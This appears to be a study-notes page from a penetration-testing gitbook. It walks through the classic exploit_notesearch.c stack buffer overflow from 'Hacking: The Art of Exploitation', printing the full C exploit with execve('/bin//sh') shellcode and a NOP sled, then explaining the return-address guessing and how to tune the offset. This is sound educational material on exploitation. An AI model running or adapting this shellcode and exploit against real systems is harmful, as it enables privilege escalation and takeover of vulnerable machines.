x86

Refer to https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking-concepts/vulnerability-and-exploitation/binary-exploitation/x86-architecture for more information about the x86 architecture

hacking: the art of exploitation

exploit_notesearch.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
 unsigned int i, *ptr, ret, offset=270;
 char *command, *buffer;
 
 command = (char *) malloc(200);
 
 bzero(command, 200); // Zero out the new memory.
 
 strcpy(command, "./notesearch \'"); // Start command buffer.
 buffer = command + strlen(command); // Set buffer at the end.
 
 if(argc > 1) // Set offset.
  offset = atoi(argv[1]);
  
 ret = (unsigned int) &i - offset; // Set return address.
 
 for(i=0; i < 160; i+=4) // Fill buffer with return address.
 *((unsigned int *)(buffer+i)) = ret;
 
 memset(buffer, 0x90, 60); // Build NOP sled.
 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
 
 strcat(command, "\'");
 system(command); // Run exploit.
 free(command);
}

The exploit above displays a simple buffer overflow exploit for the x86 architecture.

This exploit will only work with architecture that have a stack growing downwards (to lower memory addresses).

Explanation

  1. Shellcode string

    • ...

  2. Set return address (estimated)

ret = (unsigned int) &i - offset; // Set return address.

Set the return address by subtracting a guessed offset value from the current stack location. This calculates a possible lower memory location that may land in the NOP sled when the notesearch program is executed. Keep in mind that a subtraction is used instead due to the stack growing downwards.

  1. Fill buffer space with return address

    • This is performed in hopes of overwriting the EIP (instruction pointer) with the return address of our choice

    • to trick the CPU into executing malicious code

 for(i=0; i < 160; i+=4) // Fill buffer with return address.
  *((unsigned int *)(buffer+i)) = ret;
  1. Build NOP sled and append shellcode

memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

The value 0x90 represents a NOP instruction in x86 assembly. A NOP instruction is simply a command that does nothing. In this case, when the EIP points to an address within the NOP sled region, the CPU will simply run through each NOP instruction, until it eventually reaches and executes the shellcode.

Note: the CPU automatically updates the EIP to point to the next instruction in memory (auto increment)

1st line: appends 60 bytes of the NOP instruction

2nd line: appends shellcode right after the NOP sled

Methods to fine-tune the exploit

  1. Increase the NOP sled size

    • This increases the chances of the return address value (calculated with the offset) to land within the NOP sled region

  2. Vary the offset value

    • Experiment with different offset values to determine the value that provides the return address which falls within range the range of the NOP sled region

Last updated